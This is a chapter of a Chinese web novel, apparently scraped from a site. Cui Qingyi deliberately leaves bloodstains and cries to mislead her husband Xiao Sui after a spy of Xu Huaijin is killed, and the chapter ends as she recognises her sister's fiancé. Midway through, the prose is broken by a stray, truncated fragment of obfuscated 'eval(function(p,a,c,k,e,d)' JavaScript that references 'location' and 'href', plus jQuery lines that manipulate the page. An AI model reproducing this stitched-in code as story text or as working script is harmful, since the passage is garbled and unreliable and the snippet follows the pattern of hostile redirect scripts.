20. 生病

她轻轻微叹,今日这件事总算是结束了,接下来就要会会徐怀瑾了。出于从前的情谊,她答应帮徐络婉离开东都,但这其中也掺杂了一些私心。


她想借徐络婉之手,掰开徐怀瑾隐藏的真面目,云家案子水落石出后,她也能安心离开东都了。


如此,她也不枉此生了。


没多久,崔清漪沐浴完穿好衣裳,回了沁水居。


崔清漪走到里屋,拉开帷帐,向下一瞥,床上那人似乎沉睡了许久,许是冷了,萧绥微不可察地蹙了蹙眉头。


她悄悄脱了鞋,轻手轻脚,越过他的身子,躺在了里面,还没来得及拉上被褥,萧绥便侧身抚上了她的腰背。


那动作信手拈来,像是经常做一样。


崔清漪怔在那里,手脚冰冷,腰后传来的热意,顺着脊骨到达她的肩颈,宛如除夕之夜放的烟花,“嘭”的一声,让她又苏又麻。


被褥在他的身上搭着,崔清漪目光所及之处,都是萧绥的慵懒。她悄悄用脚勾起被角,伸手将后背的热意慢慢送回去,萧绥面容清淡,手却很重,任崔清漪怎么用力,也送不回去了。


无奈之下,她拉开萧绥的被褥,躲到了他的温暖中,发香牵扯着迷魂香,崔清漪似乎也慢慢的睡着了。


屋外闪着蒙蒙雨丝,地上的雨水犹如一条笼布,不急不慢地洗刷着昨晚的印迹。


萧绥似乎听到了雨声,头有些刺痛,缓缓睁开了眼,可身下的人却轻柔地牵扯着他的动作。看到自己的手搭在她的腰上,怀中的人正在熟睡,萧绥也不敢再动了。


他们怎么睡到一起了?昨晚上不是正在喝酒吗?他为什么没有任何感觉?


正在寻思,萧绥却发现崔清漪的长睫上沾着几滴泪珠,于是将手缩回来,替她抹去那斑点泪痕。


他想,她昨晚又做噩梦了。


崔清漪似乎是感受到了冷意,伸出手无意识地去抓萧绥的手臂,但萧绥定睛一看,按住了她呼之欲出的那只手。


这只手白皙修长,指甲圆润小巧,可细缝里却有跳动的火焰,一点一点的刺激着萧绥的神经。


这是血?


他脸上的柔情慢慢褪去,取而代之的则是震惊与哑言。


萧绥神情漠然,还是不肯相信自己的判断,于是轻轻嗅了嗅她的手,这才确定下来,那确实是血迹。


她昨晚生病了?


他怔怔的盯着怀中人,女子面容白皙,姿态娇柔,委屈缩在自己怀里,看上去宛如一只惹人怜爱的小猫。


萧绥下意识地将她的手放回被褥中,神情复杂的看着她。


昨晚到底发生了什么?


他不喜欢这种怅然若失的感觉,即使她此刻在自己怀中。


被褥被扯下,胸前微凉,崔清漪缓缓睁开了眼睛,入眼便是萧绥的后背。


他这怎么了?怎么又是冷冰冰的?


“王爷,你睡好了?”崔清漪疑惑问。


萧绥坐在床边,正要穿鞋出去,低头却看见了旁边的那双鞋子,昨晚明明没有下雨,她鞋后竟然沾上了泥水。


看来是真的生病了。


可她刚刚的话,像是没事人一样。


萧绥不自觉地握紧了手,冷淡开口:“你昨晚怎么了?”


听到这话,崔清漪立刻醒了过来。


他怀疑她了?她做事向来谨慎,应该不会。


就算他怀疑她,继续否认就会引起他的猜忌,甚至是杀戮。倒不如装出一副难言之隐的姿态,顺便再加些筹码,等萧绥自己推翻猜测,接着就会对自己有无限的愧疚。


不管怎么做,她不承认就行了。


“是不是出去了?”萧绥扭头,却发现崔清漪宛如一朵枯萎的海棠花,只静静躺在泥中。


“没有。”她再次红着眼睛骗他,流下的眼泪就是她的武器。


萧绥如同地狱判官,沉冷开口:“那手上的血迹又是怎么回事。”


原来是这样......崔清漪身体逐渐放松下来,那血迹是她故意留的,就是想着日后扮委屈用的,没想到萧绥如此敏锐,大早上就发现了,自己也是小瞧他了。


崔清漪迷糊抬头:“不知道。”


看他神情复杂,崔清漪继续加筹码:“我真的不知道。”


萧绥漠视她的眼泪,低声道:“你不愿意说,我不勉强你,你手上的血迹好好擦擦吧。”随后,他便猛然起身,穿戴好衣裳,大步朝着外面走去。


崔清漪平躺在床上,许是流泪过多,心头莫名烦躁憋闷,平白无故喘不过气。


他怀疑自己,崔清漪本该高兴,可身旁的余温却让她心中隐隐作响,脑海中挥之不去的则是那些吻。


飘飘拂拂,是一响贪欢。


她没必要向他挑明一切,她接下来要做的事,如果走错一步,则满盘皆输。所以,她不得不将萧绥从沁水居推出去,只有这样,她才能更快办完那件事。


“姑娘,这样成吗?其实没必要故意留下那些痕迹,白白让你和王爷生分了......”昙云进门为崔清漪梳妆,看着镜子中的她,担忧的说出了自己的想法。


“不会生分的,一时冷一时热罢了。过一段时间,他就会来沁水居的。”崔清漪平静开口,她不该对他有所顾虑的,她对他只有利用二字,日后有用,她再请他回来就是。


“姑娘的意思是,有新任务了?”昙云很聪明,听崔清漪的口气,她便知晓崔清漪早已算好了下一步。


“你呀,跟着阿月没少学。”崔清漪开玩笑,顿了顿,“用完饭,你去高阳王府送张拜帖,就说我下午去见高阳王妃。”


昙云“嗯”了一声,扶着崔清漪去用饭了。


拱桥旁的西府海棠在春雨中盛开,可沁水居的人却不在屋里,萧绥身上淋淋漓漓,下朝回来后便直接往书房去了。


那时他刚从沁水居出来,就在担心崔清漪昨晚是不是生病了,寻来六安,六安直摇头,无可奈何,他派人将林书臣喊了过来。


他曾经以为崔清漪喜欢徐怀瑾,本想着成全他两人的姻缘,可崔清漪找上门,要他娶她,他也不知怎的,鬼迷心窍就答应了。再后来,她总是笑盈盈的对他说“喜欢”,他有些触动。


直到那时,自己失去了分寸,吻了人家。


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15098774|163376||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


他以为两人就会这样过下去,谁知,人家心里根本就不相信自己,就连生病,也瞒着自己。


萧绥想到这,摇了摇头。


“喊我来是有何事?”林书臣不情不愿进了王府,又不情不愿坐在了椅子上。


“你今晚留在王府。”萧绥平淡开口。


“什么?!你又没病,让我留下干嘛?我那还忙着呢,再说了,昨晚徐家死了人,待会我还要去徐家一趟。”


“你说什么?”萧绥蹙眉。


“我说,昨晚上,徐家出事了。”林书臣越来越不耐烦,也不知萧绥喊他来干什么。


“死的是谁?”


“听他家下人说,是徐怀瑾身边的一个探子,好像叫杨武来着?”林书臣开始不明白萧绥为何如此关注徐家,后来想了想,大概是因为崔姑娘吧。


杨武......


昨晚?!


“昨晚什么时辰?”萧绥突然上前,吓得林书臣手中的茶盏都掉了。


“你着急什么啊!我只是个大夫,我哪知道他什么时候死的,这情况你得去问问徐怀瑾,或者大理寺的人。”林书臣瞥他,想到他是有些醋意,倒也不跟他计较了。


“杨武是徐怀瑾身边人,功夫了得,是什么人杀的?可留下什么证据?”


林书臣重新倒了一杯茶,品了一口,叹气道:“我说萧绥,你就别操心那事了,你今天让我来,到底要做什么?”


昨天晚上,她?


不对,她不会武功,就连身边那两个丫头也不会,根本就应付不了杨武那种人。


正想着,林书臣起身就要走,萧绥冷言道:“她昨晚病了,但是她不肯说,我想你一会帮她看看。”


他相信她昨晚是生病了。


“早说不就完事了,省得我问来问去。对了,她人呢?”林书臣转身又坐了回来。


一站一坐,倒分不清谁是主,谁是客了。


“六安,王妃呢?”萧绥问道。


“王妃她,下午去了高阳王府,说是去看看高阳王妃。”六安的头越来越低,生怕萧绥拿他是问。


萧绥冷笑,转身扶上了面前的玫瑰椅,低沉道:“去请她回来。”


自己生着病,倒是关心别人去了。


“是!”六安麻溜走了出去,可还没到门口,就看见了从车里走下来的崔清漪。


他连忙跑到崔清漪跟前,侧过身子小声道:“王妃,王爷请了林大夫,说是要给你看病......还有,王爷看上去心情不大好。”


六安挤眉弄眼传达出他的无奈,崔清漪满脸疑问:“什么看病?”


这究竟是怎么回事?难不成萧绥以为那血迹是她的?


崔清漪眸光流转,原来萧绥没怀疑自己。


白费工夫了。


昙云扶着崔清漪来到了书房,刚入门便看到了萧绥的背影,正要去问安时,一个熟悉的身影落在了她的余光中。


她眼中闪过一丝错觉,嘴唇微张,不敢相信坐在椅子上的那个人是他......


那是林屹?!


是她姐姐云湘的未婚夫?